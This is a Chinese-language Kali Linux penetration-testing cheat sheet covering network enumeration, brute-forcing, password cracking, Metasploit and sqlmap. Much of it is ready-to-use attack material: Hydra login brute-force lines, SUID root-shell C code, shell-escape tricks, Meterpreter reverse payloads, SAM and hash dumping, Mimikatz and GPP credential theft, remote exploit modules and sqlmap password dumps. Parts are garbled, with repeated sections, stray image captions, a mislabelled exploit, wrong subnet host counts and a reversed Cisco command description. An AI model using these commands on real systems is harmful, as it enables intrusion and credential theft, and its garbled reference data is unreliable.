Kali Linux渗透测试备忘单

侦查和枚举

NMAP命令

Nmap(“网络映射器”)是一个免费的开源实用程序,用于网络发现和安全审核。许多系统和网络管理员还发现它对于诸如网络清单,管理服务升级计划以及监视主机或服务正常运行时间之类的任务很有用。Nmap以新颖的方式使用原始IP数据包来确定网络上可用的主机,这些主机提供的服务(应用程序名称和版本),它们正在运行的操作系统(和OS版本),包过滤器/防火墙的类型。正在使用中,还有许多其他特性。它旨在快速扫描大型网络,但可以在单个主机上正常运行。Nmap可在所有主要的计算机操作系统上运行,并且官方二进制软件包可用于Linux,Windows和Mac OSX。

命令描述
nmap -v -sS -A -T4 目标Nmap详细扫描,运行同步隐身,T4定时(在局域网上应该可以),操作系统和服务版本信息,针对服务的traceroute和脚本
nmap -v -sS -p–A -T4 目标如上,但是扫描所有TCP端口(花费更长的时间)
nmap -v -sU -sS -p- -A -T4 目标如上,但是扫描所有TCP端口和UDP扫描(需要更长的时间)
nmap -v -p 445 –script = smb-check-vulns
–script-args = unsafe = 1 192.168.1.X
Nmap脚本可扫描易受攻击的SMB服务器–警告:不安全= 1可能会导致故障转移
nmap本地主机显示当前正在使用的所有端口
ls /usr/share/nmap/scripts/* | grep ftp在nmap脚本中搜索关键字

SMB枚举

在计算机网络中,服务器消息块(SMB)(一种版本也称为通用Internet文件系统(CIFS,/ ˈsɪfs /))作为应用层网络协议运行,主要用于提供对文件,打印机,和串行端口以及网络上节点之间的其他通信

命令描述
nbtscan 192.168.1.0/24发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域
enum4linux -a target-ip做所有事情,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组)

其他主机发现

其他主机发现方法,不使用nmap…

命令描述
netdiscover -r 192.168.1.0/24从ARP查找子网中的IP,MAC地址和MAC供应商,有助于确认您在$client站点上的正确VLAN中

SMB枚举

枚举Windows共享/ Samba共享。

命令描述
nbtscan 192.168.1.0/24发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域
enum4linux -a target-ip做所有事情,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组)
SMB枚举
SMB枚举

Python本地Web服务器

Python本地Web服务器命令,方便在攻击计算机上提供shell和漏洞利用。

命令描述
python -m SimpleHTTPServer 80运行基本的http服务器,非常适合服务shell等
kali metasploit banner
kali metasploit banner

挂载文件共享

如何挂载NFS / CIFS,Windows和Linux文件共享。

命令描述
mount 192.168.1.1:/vol/share /mnt/nfs将NFS共享挂载到/ mnt / nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
如果删除密码,则在Linux上的/ mnt / cifs上挂载Windows CIFS / SMB共享,​​它将在CLI上提示(更安全,因为它不会出现在bash_history中)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
从命令行在Windows上挂载Windows共享
apt-get install smb4k -y在Kali(用于浏览SMB共享的有用Linux GUI)上安装smb4k

基本指纹

设备指纹或机器指纹或浏览器指纹是出于识别目的而收集的有关远程计算设备的信息。即使关闭了cookie,也可以使用指纹来完全或部分识别单个用户或设备。

命令描述
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
通过显示的横幅进行基本的版本控制/指纹识别

SNMP枚举

SNMP枚举是使用SNMP枚举目标系统上的用户帐户的过程。SNMP使用两种主要类型的软件组件进行通信:位于网络设备上的SNMP代理和与代理进行通信的SNMP管理站。

命令描述
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1 |grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
SNMP枚举

DNS区域转移

命令描述
nslookup -> set type=any -> ls -d blah.comWindows DNS区域传输
dig axfr blah.com @ns1.blah.comLinux DNS区域传输

域名解析

DNSRecon提供执行以下功能:

  1. 检查所有NS记录以进行区域传输
  2. 枚举给定域(MX,SOA,NS,A,AAAA,SPF和TXT)的常规DNS记录
  3. 执行通用的SRV记录枚举。顶级域(TLD)扩展
  4. 检查通配符解析
  5. 给定域和单词列表的蛮力子域以及主机A和AAAA记录
  6. 对给定的IP范围或CIDR执行PTR记录查找
  7. 检查DNS服务器缓存记录中的A,AAAA和CNAME记录是否在文本文件中提供了主机记录的列表以进行检查
  8. 枚举本地网络中的通用mDNS记录枚举使用Google的主机和子域
DNS枚举Kali-DNSReconroot:〜#
 dnsrecon -d 目标 -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Web服务器枚举

命令描述
nikto -h 192.168.1.1对目标执行nikto扫描
dirbuster目录爆破 通过GUI配置,CLI输入在大多数情况下不起作用
对www.ddosi.com执行nikto扫描
对www.ddosi.com执行nikto扫描

包检查

命令描述
tcpdump tcp port 80 -w output.pcap -i eth0下载接口eth0上端口80的tcpdump,输出到output.pcap

用户名枚举

用于远程枚举目标系统上的用户的一些技术。

SMB用户枚举

命令描述
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX枚举SMB中的用户
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID循环SMB /从SMB枚举用户

SNMP用户枚举

命令描述
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |cut -d” “ -f4SNMP的新兴用户
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXXSNMP的新兴用户
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(然后是grep)
搜索具有nmap,可重复输出的SNMP服务器

密码

Wordlists

命令描述
/usr/share/wordlistskali密码表位置
kali linux密码字典位置
kali linux密码字典位置
kali linux密码字典位置-sql字典示例
kali linux密码字典位置-sql字典示例

可参考g0tm1lk博客上的大量词汇表

暴力破解

Hydra FTP暴力破解

Hydra是并行的登录破解程序,它支持多种协议进行攻击。它非常快速和灵活,并且易于添加新模块。该工具使研究人员和安全顾问可以显示远程获得对系统的未授权访问将是多么容易。在Ubuntu上,可以从突触包管理器安装它。在Kali Linux上,它是已安装的。

命令描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -VHydra FTP暴力破解

Hydra九头蛇POP3暴力破解

命令描述
hydra -l 用户名 -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -Vhydra 九头蛇POP3暴力破解

Hydra SMTP暴力破解

命令描述
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP暴力破解

使用-t限制并发连接,例如:-t 15

密码破解

开膛手约翰– JTR

开膛手约翰与九头蛇等工具不同。Hydra通过在服务守护程序(例如ftp服务器或telnet服务器)上尝试用户名/密码组合来进行盲目的暴力破解。但是,John首先需要哈希。因此,对于黑客来说,更大的挑战是首先获取要破解的哈希。现在,可以使用在线提供的免费彩虹表更轻松地破解哈希表。只需转到其中一个站点,提交哈希即可,如果哈希是由一个普通单词构成的,则该站点几乎会立即显示该单词。Rainbow表基本上将常见单词及其哈希存储在大型数据库中。数据库越大,覆盖的字词越多。

命令描述
john –wordlist=/usr/share/wordlists/rockyou.txt hashesJTR密码破解
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txtJTR用单词表强制解密
john –format=descrypt hash –showJTR强制解密强力破解

exploit 搜索

查找枚举主机/服务漏洞的方法。

命令描述
searchsploit windows 2003 | grep -i local搜索exploit-db以进行利用,在此示例中为Windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3使用Google搜索exploit-db.com中的漏洞
grep -R “W7” /usr/share/metasploit-framework/modules/exploit/windows/*使用grep搜索metasploit模块– msf搜索有点麻烦
exploit 搜索
exploit 搜索

编译漏洞

识别C代码是用于Windows还是Linux

C #includes将指示应使用哪个操作系统来构建漏洞利用程序。

命令描述
process.h, string.h, winbase.h, windows.h, winsock2.hWindows漏洞利用代码
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,sys/sockt.h, sys/types.h, unistd.hLinux利用代码

编译exploit GCC

编译exploit gcc。

命令描述
gcc -o exploit exploit.c基本的GCC编译

GCC在64Bit Kali上编译32Bit漏洞

便于在64位攻击机上交叉编译32位二进制文​​件。

命令描述
gcc -m32 exploit.c -o exploit在64位Linux上交叉编译32位二进制文​​件

在Linux上编译Windows.exe

在Linux上构建/编译Windows漏洞,生成一个.exe文件。

命令描述
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe在Linux上编译Windows.exe

SUID二进制

通常,需要SUID C二进制文件以超级用户身份生成shell,您可以根据需要更新UID / GID和shell。

以下是各种shell的一些快速复制和粘贴示例:

用于/ bin / bash的SUID C Shell

int main(void){ 
       setresuid(0,0,0); 
       system(“ / bin / bash”); 
}

用于/ bin / sh的SUID C Shell

int main(void){ 
       setresuid(0,0,0); 
       system(“ / bin / sh”); 
}

构建SUID Shell二进制文件

gcc -o suid suid.c

对于32位:

gcc -m32 -o suid suid.c

TTY shells

TTY (Tips / Tricks )提示/技巧,可以从Linux的有限Shell中生成TTYShell,对于从反向Shell运行su等命令很有用。

Python TTY Shell技巧

python -c'import pty; pty.spawn(“ / bin / bash”)'
回声os.system('/ bin / bash')

Spawn Interactive sh shell

/ bin / sh -i

Spawn Perl TTY Shell

exec“ / bin / sh”; 
perl -e'exec“ / bin / sh”;'

Spawn Ruby TTY Shell

exec“ / bin / sh”

Spawn Lua TTY Shell

os.execute('/ bin / sh')

Vi的Spawn TTY Shell

从vi运行shell命令:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Metasploit由HD Moore于2003年创建,它是使用Perl的便携式网络工具。到2007年,Metasploit框架已完全用Ruby重写。2009年10月21日,Metasploit项目宣布已被提供统一漏洞管理解决方案的安全公司Rapid7收购。

像Immunity的Canvas或Core Security Technologies的Core Impact等可比较的商业产品一样,Metasploit可用于测试计算机系统的漏洞或闯入远程系统。与许多信息安全工具一样,Metasploit可用于合法和未经授权的活动。自从收购Metasploit Framework之后,Rapid7添加了两个开放核心专有版本,称为Metasploit Express和Metasploit Pro。

Metasploit作为事实上的漏洞利用开发框架的新兴地位导致发布了软件漏洞公告,通常伴随着第三方Metasploit漏洞利用模块,该模块着重强调了该特定漏洞的可利用性,风险和补救措施。Metasploit 3.0开始包含模糊测试工具,用于发现软件漏洞,而不仅仅是利用已知漏洞。通过在2006年11月将lorcon无线(802.11)工具集集成到Metasploit 3.0中,可以看到这一途径。Metasploit 4.0在2011年8月发布。

Meterpreter Payloads

Windows reverse meterpreter payload

命令描述
set payload windows/meterpreter/reverse_tcpWindows反向TCP有效负载

Windows VNC Meterpreter有效负载

命令描述
set payload windows/vncinject/reverse_tcp
set ViewOnly false
Meterpreter Windows VNC有效负载

Linux反向Meterpreter有效负载

命令描述
set payload linux/meterpreter/reverse_tcpMeterpreter Linux反向有效负载

Meterpreter备忘单

有用的meterpreter命令。

命令描述
upload file c:\\windowsMeterpreter将文件上传到Windows目标
download c:\\windows\\repair\\sam /tmp从Windows目标下载Meterpreter文件
download c:\\windows\\repair\\sam /tmp从Windows目标下载Meterpreter文件
execute -f c:\\windows\temp\exploit.exeMeterpreter在目标上运行.exe –方便执行上传的漏洞
execute -f cmd -c使用cmd shell创建新频道
psMeterpreter显示流程
shellMeterpreter将Shell对准目标
getsystemMeterpreter尝试特权升级目标
hashdumpMeterpreter尝试将哈希值转储到目标上
portfwd add –l 3389 –p 3389 –r targetMeterpreter创建端口转发到目标计算机
portfwd delete –l 3389 –p 3389 –r targetMeterpreter删除端口转发

通用Metasploit模块

远程Windows Metasploit模块(漏洞利用)

Metasploit搜索cve-2019-0708
Metasploit搜索cve-2019-0708
命令描述
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k,XP,2003远程利用
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT,2k,XP,2003远程利用
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程利用

本地Windows Metasploit模块(漏洞利用)

命令描述
use exploit/windows/local/bypassuac在Windows 7上绕过UAC +设置目标+arch,x86 / 64

Metasploit辅助模块 Auxilary Metasploit Modules

命令描述
use auxiliary/scanner/http/dir_scannerMetasploit HTTP目录扫描程序
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS漏洞扫描程序
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL凭据扫描仪
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL版本扫描程序
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle登录模块
使用Metasploit JBOSS漏洞扫描程序示例
使用Metasploit JBOSS漏洞扫描程序示例

Metasploit Powershell模块

命令描述
use exploit/multi/script/web_deliveryMetasploit Powershell负载交付模块
post/windows/manage/powershell/exec_powershellMetasploit通过会话上传并运行Powershell脚本
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS部署
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL有效负载

Windows Metasploit Post Exploit模块

命令描述
run post/windows/gather/win_privsMetasploit显示当前用户的特权
use post/windows/gather/credentials/gppMetasploit收集GPP保存的密码
load mimikatz -> wdigestMetasplit 加载Mimikatz
run post/windows/gather/local_admin_search_enum识别提供的域用户具有管理访问权限的其他计算机

Networking

TTL指纹

操作系统TTL Size
Windows128
Linux64
Solaris255
Cisco / Network255

IPv4

IP等级范围

例如A,B,C类(折旧)

IP地址范围
A类IP地址范围0.0.0.0 – 127.255.255.255
B类IP地址范围128.0.0.0 – 191.255.255.255
C类IP地址范围192.0.0.0 – 223.255.255.255
D类IP地址范围224.0.0.0 – 239.255.255.255
E类IP地址范围240.0.0.0 – 255.255.255.255

IPv4专用地址范围

范围
A类专用地址范围10.0.0.0 – 10.255.255.255
B类专用地址范围172.16.0.0 – 172.31.255.255
C类专用地址范围192.168.0.0 – 192.168.255.255
127.0.0.0 – 127.255.255.255

IPv4子网备忘单

CIDRDecimal Mask 掩码Number of Hosts 主机数
/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2496 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0512 Host
/22255.255.252.01022 Hosts
/21255.255.248.02046 Hosts
/20255.255.240.04094 Hosts
/19255.255.224.08190 Hosts
/18255.255.192.016382 Hosts
/17255.255.128.032766 Hosts
/16255.255.0.065534 Hosts
/15255.254.0.0131070 Hosts
/14255.252.0.0262142 Hosts
/13255.248.0.0524286 Hosts
/12255.240.0.01048674 Hosts
/11255.224.0.02097150 Hosts
/10255.192.0.04194302 Hosts
/9255.128.0.08388606 Hosts
/8255.0.0.016777214 Hosts

ASCII表备忘单

对于Web应用程序渗透测试很有用,或者如果您在火星上受困并且需要与NASA进行通信时很有用。

ASCIICharacter 字符
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

CISCO IOS命令

有用的Cisco IOS命令的集合。

Command描述
enable进入启用模式
conf t简称,配置终端
(config)# interface fa0/0配置FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255将IP添加到fa0 / 0
(config-if)# ip addr 0.0.0.0 255.255.255.255将IP添加到fa0 / 0
(config-if)# line vty 0 4配置VTY线
(config-line)# login思科设置​​telnet密码
(config-line)# password YOUR-PASSWORD设置telnet密码
# show running-config显示内存中正在运行的配置
# show startup-config显示sartup配置
# show version显示Cisco IOS版本
# show session显示公开会议
# show ip interface显示网络接口
# show interface e0显示详细的界面信息
# show ip route显示路线
# show access-lists显示访问清单
# dir file systems显示可用文件
# dir all-filesystems档案资讯
# dir /all如何删除文件
# terminal length 0终端输出无限制
# copy running-config tftp将正在运行的配置复制到tftp服务器
# copy running-config startup-config将启动配置复制到运行配置

密码学

hash长度

杂凑尺寸
MD5哈希长度16字节
SHA-1哈希长度20字节
SHA-256哈希长度32字节
SHA-512哈希长度64字节

哈希示例

可能仅为此使用哈希标识符,但这是一些示例哈希:

Hash示例
MD5 Hash8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Exampleb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash 示例b4b9b02e6f09a9bd760f388b67351e2b

SQLMap示例

sqlmap是一个开源渗透测试工具,它可以自动检测和利用SQL注入漏洞并接管数据库服务器的过程。它具有强大的检测引擎,针对最终渗透测试仪的众多细分功能以及从数据库指纹识别,从数据库获取数据到访问基础文件系统以及通过外出在操作系统上执行命令的广泛开关。带内连接。

SQLMap示例
SQLMap示例
命令描述
sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3自动化sqlmap扫描
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE
–level=3 –current-user –current-db –passwords
–file-read=”/var/www/blah.php”
目标sqlmap扫描
sqlmap -u “http://meh.com/meh.php?id=1”
–dbms=mysql –tech=U –random-agent –dump
使用mysql后端扫描URL进行联合+基于错误的注入,
并使用随机用户代理+数据库转储
sqlmap -o -u “http://meh.com/form/” –formssqlmap注入检查表
sqlmap -o -u “http://meh/vuln-form” –forms -D database-name -T users –dump表用户在数据库名称上的sqlmap转储和破解哈希。

from